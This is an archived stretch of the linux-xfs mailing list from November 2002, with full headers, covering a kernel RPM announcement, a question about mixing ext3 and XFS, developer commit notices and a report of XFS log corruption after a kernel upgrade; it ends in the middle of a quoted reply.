-0800 Received: from fwd06.sul.t-online.de by mailout09.sul.t-online.com with smtp id 18Ezc1-0008GX-00; Thu, 21 Nov 2002 23:15:53 +0100 Received: from puariko.homeip.net (520039812576-0001@[217.231.237.211]) by fmrl06.sul.t-online.com with esmtp id 18Ezbw-0nDTiyC; Thu, 21 Nov 2002 23:15:48 +0100 Received: (from thimm@localhost) by bonzo.nirvana (8.12.5/8.12.5/Submit) id gALMFjgJ012921; Thu, 21 Nov 2002 23:15:45 +0100 Date: Thu, 21 Nov 2002 23:15:44 +0100 From: Axel Thimm To: linux-xfs@oss.sgi.com Subject: [ANNOUNCE] kernel-2.4.18-18.8.0at4: Latest RedHat kernel errata with XFS support Message-ID: <20021121221544.GA8826@bonzo.nirvana> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="lrZ03NoBR/3+SXJZ" Content-Disposition: inline User-Agent: Mutt/1.4i X-Sender: 520039812576-0001@t-dialin.net X-archive-position: 1831 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs --lrZ03NoBR/3+SXJZ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I have rebuild RedHat rpms with the XFS patches as found in the latest rele= ase of SGI (1.2pre3). You can find them under http://atrpms.physik.fu-berlin.de/kernel/ or you can use the following apt repository entries in /etc/apt/sources.lis= t: rpm http://apt.physik.fu-berlin.de redhat/8.0/en/i386 at rpm-src http://apt.physik.fu-berlin.de redhat/8.0/en/i386 at and retrieve them with apt-get. Currently there is only XFS support, but I intend to add more, like newer 3= ware kernel drivers for instance. Also there aren't any of bigmem or smp kernels, as for one I cannot test them, and people with those needs tend anyway to build their own kernels (so grab the kernel-source rpm). --=20 Axel.Thimm@physik.fu-berlin.de --lrZ03NoBR/3+SXJZ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE93VsQQBVS1GOamfERArzoAKCZbhvwDBYU23hnMk3KdFDgnFmfpACghKpq ojt9HvNJ0zb6DKEcjUustEc= =hqsi -----END PGP SIGNATURE----- --lrZ03NoBR/3+SXJZ-- From owner-linux-xfs@oss.sgi.com Thu Nov 21 16:04:26 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 16:04:27 -0800 (PST) Received: from mail.zalaszam.hu (www.zalaszam.hu [194.88.50.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAM04PuR016482 for ; Thu, 21 Nov 2002 16:04:25 -0800 Received: from orso.dfmk.hu (dial-up-133.zalaszam.hu [195.38.118.133]) by mail.zalaszam.hu (Postfix) with ESMTP id 1CF28E533A for ; Fri, 22 Nov 2002 01:06:38 +0100 (CET) Message-ID: <3DDDAD67.A174A2F9@orso.dfmk.hu> Date: Fri, 22 Nov 2002 05:07:03 +0100 From: Cassy X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: xfs with ext3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 1832 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cassy@orso.dfmk.hu Precedence: bulk X-list: linux-xfs Hi! I have a question. My RH linux root partition is ext3 filesystem. I want mount another hard disk with XFS filesystem. I compiled kernel with both xfs and ext3 extension (in kernel, not module). This compiled kernel unable to mount root (ext3) partition, and panic. Can i use both xfs and ext3 fs at the same time (same OS)? Istvan Csuti From owner-linux-xfs@oss.sgi.com Thu Nov 21 18:24:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 18:24:30 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAM2OSuR019020 for ; Thu, 21 Nov 2002 18:24:28 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id 64FCE1F7844; Thu, 21 Nov 2002 18:26:43 -0800 (PST) Date: Thu, 21 Nov 2002 18:26:43 -0800 From: Chris Wedgwood To: Cassy Cc: linux-xfs@oss.sgi.com Subject: Re: xfs with ext3 Message-ID: <20021122022643.GA28987@tapu.f00f.org> References: <3DDDAD67.A174A2F9@orso.dfmk.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3DDDAD67.A174A2F9@orso.dfmk.hu> User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1833 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Fri, Nov 22, 2002 at 05:07:03AM +0100, Cassy wrote: > This compiled kernel unable to mount root (ext3) partition, and > panic. Which kernel? What does the decoded oops say? > Can i use both xfs and ext3 fs at the same time (same OS)? Yes. --cw From owner-linux-xfs@oss.sgi.com Thu Nov 21 23:47:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 23:47:44 -0800 (PST) Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAM7lfuR023013 for ; Thu, 21 Nov 2002 23:47:42 -0800 Received: from auto-nb1.xs4all.nl (host-4.coltex.demon.nl [212.238.252.68]) by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id gAM7nm26029086; Fri, 22 Nov 2002 08:49:48 +0100 (CET) Message-Id: <4.3.2.7.2.20021122084756.03f76ef0@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 22 Nov 2002 08:48:42 +0100 To: Cassy , linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: xfs with ext3 In-Reply-To: <3DDDAD67.A174A2F9@orso.dfmk.hu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 1834 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 05:07 22-11-2002 +0100, Cassy wrote: >Hi! > >I have a question. >My RH linux root partition is ext3 filesystem. I want mount another hard >disk with XFS filesystem. >I compiled kernel with both xfs and ext3 extension (in kernel, not >module). >This compiled kernel unable to mount root (ext3) partition, and panic. >Can i use both xfs and ext3 fs at the same time (same OS)? Yes, can you give the exact error? Did you perhaps forget to compile-in a scsi or IDE driver? Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Thu Nov 21 23:47:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 23:47:55 -0800 (PST) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAM7lquR023331 for ; Thu, 21 Nov 2002 23:47:53 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAM7sJkq012608 for ; Fri, 22 Nov 2002 01:54:19 -0600 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id SAA12038 for linux-xfs@oss.sgi.com; Fri, 22 Nov 2002 18:48:44 +1100 (EST) Date: Fri, 22 Nov 2002 18:48:44 +1100 (EST) From: Nathan Scott Message-Id: <200211220748.SAA12038@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - minor vnode cleanup, qa scripts X-archive-position: 1835 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs - Simplify the check script timestamping, it was too verbose to be useful. - Another pretty-print output change for QA "check" script. - Minor formatting and code consistency cleanups. cheers. Date: Thu Nov 21 13:50:56 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:133778a cmd/xfstests/check - 1.10 Date: Thu Nov 21 23:32:41 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:133826a cmd/xfstests/check - 1.11 Date: Thu Nov 21 23:45:15 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133828a linux/fs/xfs/xfs_utils.c - 1.55 linux/fs/xfs/xfs_utils.h - 1.28 linux/fs/xfs/xfs_rename.c - 1.44 linux/fs/xfs/xfs_vnodeops.c - 1.574 linux/fs/xfs/linux/xfs_vnode.c - 1.107 linux/fs/xfs/linux/xfs_vnode.h - 1.71 - Minor cleanups - format code consistently; keep details of dentry internals over with the other Linux-specific code. From owner-linux-xfs@oss.sgi.com Fri Nov 22 07:49:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 22 Nov 2002 07:49:59 -0800 (PST) Received: from localhost.localdomain (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAMFnsuR003888 for ; Fri, 22 Nov 2002 07:49:54 -0800 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.12.5/8.12.5) with ESMTP id gAMFp9aM002989; Fri, 22 Nov 2002 09:51:19 -0600 Received: (from ctooley@localhost) by localhost.localdomain (8.12.5/8.12.5/Submit) id gAMFohdn002986; Fri, 22 Nov 2002 09:50:43 -0600 X-Authentication-Warning: localhost.localdomain: ctooley set sender to ctooley@amoa.org using -f Subject: Re: xfs with ext3 From: Chris Tooley To: Cassy Cc: linux-xfs@oss.sgi.com In-Reply-To: <4.3.2.7.2.20021122084756.03f76ef0@pop.xs4all.nl> References: <4.3.2.7.2.20021122084756.03f76ef0@pop.xs4all.nl> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 22 Nov 2002 09:50:43 -0600 Message-Id: <1037980243.2937.1.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 1836 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs Common causes of this problem are: - Not compiling in the filesystem type of the root partition. - Not compiling in drivers for the controller - If the filesystem and controller are not compiled into the kernel, not providing access to the right initrd or not providing an initrd at all. - Incorrect fstab entries. Without the specific error messages we can't help you more. Chris Tooley On Fri, 2002-11-22 at 01:48, Seth Mos wrote: > At 05:07 22-11-2002 +0100, Cassy wrote: > >Hi! > > > >I have a question. > >My RH linux root partition is ext3 filesystem. I want mount another hard > >disk with XFS filesystem. > >I compiled kernel with both xfs and ext3 extension (in kernel, not > >module). > >This compiled kernel unable to mount root (ext3) partition, and panic. > >Can i use both xfs and ext3 fs at the same time (same OS)? > > Yes, can you give the exact error? > > Did you perhaps forget to compile-in a scsi or IDE driver? > > Cheers > > -- > Seth > It might just be your lucky day, if you only knew. > > From owner-linux-xfs@oss.sgi.com Fri Nov 22 12:23:21 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 22 Nov 2002 12:23:26 -0800 (PST) Received: from server4.adrenamail.com ([67.41.175.41]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAMKNKuR013166 for ; Fri, 22 Nov 2002 12:23:20 -0800 Received: from adrenamail.com (unknown [67.41.175.93]) by server4.adrenamail.com (Postfix) with ESMTP id CC55751C015; Fri, 22 Nov 2002 15:21:58 -0500 (EST) To: David@adrenamail.com Subject: Contact MIME-Version: 1.0 In-Reply-To: David@adrenamail.com Message-Id: <20021122202158.CC55751C015@server4.adrenamail.com> Date: Fri, 22 Nov 2002 15:21:58 -0500 (EST) From: David@adrenamail.com Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Content-length: 255 X-archive-position: 1837 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: David@adrenamail.com Precedence: bulk X-list: linux-xfs Hello Can you please direct me to the marketing/sales manager of your company (e-= mail, phone)? I will appreciate it. David Evgey- President www.adrenamail.com AdrenaMail =96 Unleash Productivity Phone: 410-358 4499 [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Fri Nov 22 14:52:05 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 22 Nov 2002 14:52:08 -0800 (PST) Received: from verein.lst.de (verein.lst.de [212.34.181.86]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAMMq3uR014881 for ; Fri, 22 Nov 2002 14:52:04 -0800 Received: (from hch@localhost) by verein.lst.de (8.11.6/8.11.6) id gAMMsMC10482 for linux-xfs@oss.sgi.com; Fri, 22 Nov 2002 23:54:22 +0100 Resent-Message-Id: <200211222254.gAMMsMC10482@verein.lst.de> Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by verein.lst.de (8.11.6/8.11.6) with ESMTP id gAMLW5u10025 for ; Fri, 22 Nov 2002 22:32:05 +0100 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAMLZjkq025206; Fri, 22 Nov 2002 15:35:46 -0600 Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA80460; Fri, 22 Nov 2002 15:28:39 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAN4hPI01190; Fri, 22 Nov 2002 23:43:25 -0500 Date: Fri, 22 Nov 2002 23:43:25 -0500 From: Christoph Hellwig Message-Id: <200211230443.gAN4hPI01190@taclab54.munich.sgi.com> Subject: TAKE - merge up to 2.4.20-rc3 Resent-From: hch@lst.de Resent-Date: Fri, 22 Nov 2002 23:54:22 +0100 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1838 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: linux-xfs The diffs get smaller.. Date: Fri Nov 22 13:26:40 PST 2002 Workarea: taclab54.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133880a linux/mm/vmalloc.c - 1.38 linux/mm/memory.c - 1.78 linux/fs/nfs/read.c - 1.29 linux/fs/nfs/nfs3xdr.c - 1.9 linux/fs/nfs/nfs2xdr.c - 1.12 linux/fs/ext2/inode.c - 1.38 linux/fs/buffer.c - 1.114 linux/drivers/pci/pci.c - 1.51 linux/drivers/isdn/isdn_ppp.c - 1.24 linux/drivers/char/Makefile - 1.57 linux/Makefile - 1.181 linux/drivers/scsi/scsi_merge.c - 1.33 linux/arch/i386/kernel/pci-dma.c - 1.4 linux/fs/jffs2/file.c - 1.5 linux/fs/intermezzo/dcache.c - 1.5 linux/drivers/net/tg3.c - 1.7 - merge up to 2.4.20-rc3 From owner-linux-xfs@oss.sgi.com Fri Nov 22 14:52:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 22 Nov 2002 14:52:14 -0800 (PST) Received: from verein.lst.de (verein.lst.de [212.34.181.86]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAMMqBuR014921 for ; Fri, 22 Nov 2002 14:52:12 -0800 Received: (from hch@localhost) by verein.lst.de (8.11.6/8.11.6) id gAMMsUx10486 for linux-xfs@oss.sgi.com; Fri, 22 Nov 2002 23:54:30 +0100 Resent-Message-Id: <200211222254.gAMMsUx10486@verein.lst.de> Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by verein.lst.de (8.11.6/8.11.6) with ESMTP id gAMLXcu10029 for ; Fri, 22 Nov 2002 22:33:39 +0100 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAMLbKkq025251; Fri, 22 Nov 2002 15:37:20 -0600 Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA71746; Fri, 22 Nov 2002 15:30:19 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAN4j6E01238; Fri, 22 Nov 2002 23:45:06 -0500 Date: Fri, 22 Nov 2002 23:45:06 -0500 From: Christoph Hellwig Message-Id: <200211230445.gAN4j6E01238@taclab54.munich.sgi.com> Subject: TAKE - cleanup user path walking code Resent-From: hch@lst.de Resent-Date: Fri, 22 Nov 2002 23:54:30 +0100 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1839 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: linux-xfs Date: Fri Nov 22 13:29:45 PST 2002 Workarea: taclab54.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133881a linux/fs/xfs/linux/xfs_ioctl.c - 1.83 - use user_path_walk_link From owner-linux-xfs@oss.sgi.com Sat Nov 23 01:13:58 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 23 Nov 2002 01:14:04 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAN9DwuR021571 for ; Sat, 23 Nov 2002 01:13:58 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAN9DwpC021570 for linux-xfs@oss.sgi.com; Sat, 23 Nov 2002 01:13:58 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAN9DtuT021556 for ; Sat, 23 Nov 2002 01:13:55 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAN8iIvP021376; Sat, 23 Nov 2002 00:44:18 -0800 Date: Sat, 23 Nov 2002 00:44:18 -0800 Message-Id: <200211230844.gAN8iIvP021376@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 197] stalled files in /var/lock, data fork in ino 79692177 claims free block 5040984 X-Bugzilla-Reason: AssignedTo X-archive-position: 1840 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=197 ------- Additional Comments From knutjbj@online.no 2002-11-23 00:44 ------- I have now a stalled file in /usr/locks/subsys/vmware. Iam unable to delete this file as root and see it with ls. rm vmware rm: cannot lstat `vmware': Unknown error 990 touch vmware touch: creating `vmware': Unknown error 990 [knutjbj@knut knutjbj]$ ls /var/lock/vmware ls: /var/lock/vmware: No such file or directory ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sat Nov 23 02:19:41 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 23 Nov 2002 02:19:45 -0800 (PST) Received: from ADSL-Bergs.RZ.RWTH-Aachen.DE (adsl-bergs.rz.RWTH-Aachen.DE [137.226.80.218]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gANAJduR022430 for ; Sat, 23 Nov 2002 02:19:40 -0800 Received: from ralf.wg ([192.168.2.2]:4479) by ADSL-Bergs.RZ.RWTH-Aachen.DE with esmtp (Exim 4.10) id 18FXQB-0002j5-00; Sat, 23 Nov 2002 11:21:55 +0100 From: "Ralf G. R. Bergs" To: "Linux XFS Mailing List" Cc: "Maciej.BOROWKA@ifaedi.insa-lyon.fr" Date: Sat, 23 Nov 2002 11:21:54 +0100 Priority: Normal X-Mailer: PMMail 2000 Professional (2.20.2660) For Windows 2000 (5.0.2195;3) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Serious XFS trouble: umount filesystem -> corrupt (on IDE drive) Message-Id: X-archive-position: 1841 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: rabe@RWTH-Aachen.DE Precedence: bulk X-list: linux-xfs Hi there, yesterday I replaced the motherboard of my home server (running Debian/GNU Linux 3.0) for a CPU upgrade (486-133 -> K6-III+ 400) and the network card. Therefore (to support the card) I had to recompile the kernel, and so I upgraded the kernel source from 2.4.19-xfs to yesterday's 2.4.20-rc2-xfs ("SGI XFS CVS-2002-11-22_06:00_UTC with ACLs, quota, no debug enabled.") Suddenly I noticed strange filesystem corruption. Even after a clean "halt" or "reboot" upon mounting the XFS filesystems the system would give me error messages like the following: Nov 23 00:41:33 Server kernel: Starting XFS recovery on filesystem: ide0(3,9) (dev: 3/9) Nov 23 00:41:33 Server kernel: XFS: xlog_recover_process_data: bad clientid Nov 23 00:41:33 Server kernel: XFS: log mount/recovery failed Nov 23 00:41:33 Server kernel: XFS: log mount failed or even Nov 22 23:39:04 Server kernel: Starting XFS recovery on filesystem: ide0(3,9) (dev: 3/9) Nov 22 23:39:04 Server kernel: XFS: log mount/recovery failed Nov 22 23:39:04 Server kernel: XFS: log mount failed Nov 22 23:39:04 Server kernel: XFS mounting filesystem ide0(3,10) Nov 22 23:39:04 Server kernel: XFS mounting filesystem ide0(3,9) Nov 22 23:39:04 Server kernel: XFS: nil uuid in log - IRIX style log Nov 22 23:39:04 Server kernel: XFS: failed to locate log tail Nov 22 23:39:04 Server kernel: XFS: log mount/recovery failed Nov 22 23:39:04 Server kernel: XFS: log mount failed Nov 22 23:39:04 Server kernel: XFS mounting filesystem ide0(3,9) Nov 22 23:39:04 Server kernel: XFS: nil uuid in log - IRIX style log Nov 22 23:39:04 Server kernel: XFS: failed to locate log tail Nov 22 23:39:04 Server kernel: XFS: log mount/recovery failed Nov 22 23:39:05 Server kernel: XFS: log mount failed Nov 22 23:39:05 Server kernel: XFS mounting filesystem ide0(3,9) When I booted into single user mode, the same problems occured. xfs_repair failed and told me to zap the log. I zapped the log by invoking "xfs_repair - L," and after that I was able to successfully mount the filesystem. I then entered "exit" to boot into multi-user mode, and since that moment the system is absolutely stable. So I seriously doubt it's a hardware problem (on- board IDE controller broken, cabling damaged, etc.) I seem to remember a problem that had to do with flushing the cache on IDE drives, but I can't find anything about that on Google. But I found the following post to this list that EXACTLY describes my problem -- obviously the poster didn't receive a reply: http://oss.sgi.com/projects/xfs/mail_archive/200202/msg00446.html Note that I don't use RAID, just a plain XFS filesystem on a physical partition. One thing that I'd like to mention (altho I don't think it's important) is that the hard drive had been partitioned using OnTrack's drive manager software because the bios of the old mobo didn't support hard drives larger than 2.5 gig. I'm pretty sure this isn't the root of my problems because the partition table is detected properly: ============================ 8x ================================= Nov 22 23:59:23 Server kernel: hda: 16514064 sectors (8455 MB) w/467KiB Cache, CHS=1027/255/63, (U)DMA Nov 22 23:59:23 Server kernel: Partition check: Nov 22 23:59:23 Server kernel: hda: [DM6:DDO] [remap +63] [1027/255/63] hda1 hda2 < hda5 hda6 hda7 hda8 hda9 hda10 hda11 > cfdisk 2.11n Disk Drive: /dev/hda Size: 8455168512 bytes Heads: 255 Sectors per Track: 63 Cylinders: 1027 Name Flags Part Type FS Type [Label] Size (MB) ----------------------------------------------------------------------------- hda1 Boot Primary FAT12 [MS-DOS ] 8.23 hda5 Logical Linux ext3 [root] 32.91 hda6 Logical Linux XFS 1579.26 hda7 Logical Linux XFS 526.42 hda8 Logical Linux XFS 2097.45 hda9 Logical Linux XFS 3676.71 hda10 Logical Linux XFS 477.07 hda11 Logical Linux ext2 49.36 Server:/usr/src# fdisk /dev/hda The number of cylinders for this disk is set to 1027. There is nothing wrong with that, but this is larger than 1024, and could in certain setups cause problems with: 1) software that runs at boot time (e.g., old versions of LILO) 2) booting and partitioning software from other OSs (e.g., DOS FDISK, OS/2 FDISK) Command (m for help): p Disk /dev/hda: 255 heads, 63 sectors, 1027 cylinders Units = cylinders of 16065 * 512 bytes Device Boot Start End Blocks Id System /dev/hda1 * 1 1 8001 1 FAT12 /dev/hda2 2 1027 8241345 f Win95 Ext'd (LBA) /dev/hda5 2 5 32098+ 83 Linux /dev/hda6 6 197 1542208+ 83 Linux /dev/hda7 198 261 514048+ 83 Linux /dev/hda8 262 516 2048256 83 Linux /dev/hda9 517 963 3590496 83 Linux /dev/hda10 964 1021 465853+ 83 Linux /dev/hda11 1022 1027 48163+ 83 Linux ============================ 8x ================================= Any idea where to look? Thanks, Ralf -- L I N U X .~. The Choice /V\ of a GNU /( )\ Generation ^^-^^ From owner-linux-xfs@oss.sgi.com Sat Nov 23 07:19:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 23 Nov 2002 07:19:15 -0800 (PST) Received: from waltsathlon.localhost.net (h-66-167-137-222.STTNWAHO.covad.net [66.167.137.222]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gANFJCuR029644 for ; Sat, 23 Nov 2002 07:19:12 -0800 Received: from mindspring.com (localhost.localhost.net [127.0.0.1]) by waltsathlon.localhost.net (Postfix) with ESMTP id 0AED4EB0793; Sat, 23 Nov 2002 07:21:29 -0800 (PST) Message-ID: <3DDF9CF8.6040701@mindspring.com> Date: Sat, 23 Nov 2002 07:21:28 -0800 From: Walt H User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3a) Gecko/20021113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Ralf G. R. Bergs" Cc: Linux XFS Mailing List , "Maciej.BOROWKA@ifaedi.insa-lyon.fr" Subject: Re: Serious XFS trouble: umount filesystem -> corrupt (on IDE drive) References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1842 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: waltabbyh@mindspring.com Precedence: bulk X-list: linux-xfs I can't help you out on this, but wanted to chime in with a "me-too". I tried to update a new server at work on Thursday to latest CVS and received many of the same messages as you. "Failed to find log tail" "IRIX style log" etc.. The server uses a Tyan Thunder K7X Pro running 2 AMD 2200's. It uses 6 36GB SCSI disks in a raid5 configuration. When I received the errors, I attributed them to the recent scsi changes in 2.4.20 and having to use Adaptec's source for the onboard AIC7902 controller. Perhaps it was XFS related? I dropped back to the 2.4.19 kernel I was using and am going to be putting the server into production today, so I will be unable to test further. -Walt Ralf G. R. Bergs wrote: > Hi there, > > yesterday I replaced the motherboard of my home server (running Debian/GNU > Linux 3.0) for a CPU upgrade (486-133 -> K6-III+ 400) and the network card. > Therefore (to support the card) I had to recompile the kernel, and so I > upgraded the kernel source from 2.4.19-xfs to yesterday's 2.4.20-rc2-xfs ("SGI > XFS CVS-2002-11-22_06:00_UTC with ACLs, quota, no debug enabled.") > > Suddenly I noticed strange filesystem corruption. Even after a clean "halt" or > "reboot" upon mounting the XFS filesystems the system would give me error > messages like the following: > > Nov 23 00:41:33 Server kernel: Starting XFS recovery on filesystem: ide0(3,9) > (dev: 3/9) > Nov 23 00:41:33 Server kernel: XFS: xlog_recover_process_data: bad clientid > Nov 23 00:41:33 Server kernel: XFS: log mount/recovery failed > Nov 23 00:41:33 Server kernel: XFS: log mount failed > > or even > > Nov 22 23:39:04 Server kernel: Starting XFS recovery on filesystem: ide0(3,9) > (dev: 3/9) > Nov 22 23:39:04 Server kernel: XFS: log mount/recovery failed > Nov 22 23:39:04 Server kernel: XFS: log mount failed > Nov 22 23:39:04 Server kernel: XFS mounting filesystem ide0(3,10) > Nov 22 23:39:04 Server kernel: XFS mounting filesystem ide0(3,9) > Nov 22 23:39:04 Server kernel: XFS: nil uuid in log - IRIX style log > Nov 22 23:39:04 Server kernel: XFS: failed to locate log tail > Nov 22 23:39:04 Server kernel: XFS: log mount/recovery failed > Nov 22 23:39:04 Server kernel: XFS: log mount failed > Nov 22 23:39:04 Server kernel: XFS mounting filesystem ide0(3,9) > Nov 22 23:39:04 Server kernel: XFS: nil uuid in log - IRIX style log > Nov 22 23:39:04 Server kernel: XFS: failed to locate log tail > Nov 22 23:39:04 Server kernel: XFS: log mount/recovery failed > Nov 22 23:39:05 Server kernel: XFS: log mount failed > Nov 22 23:39:05 Server kernel: XFS mounting filesystem ide0(3,9) > > When I booted into single user 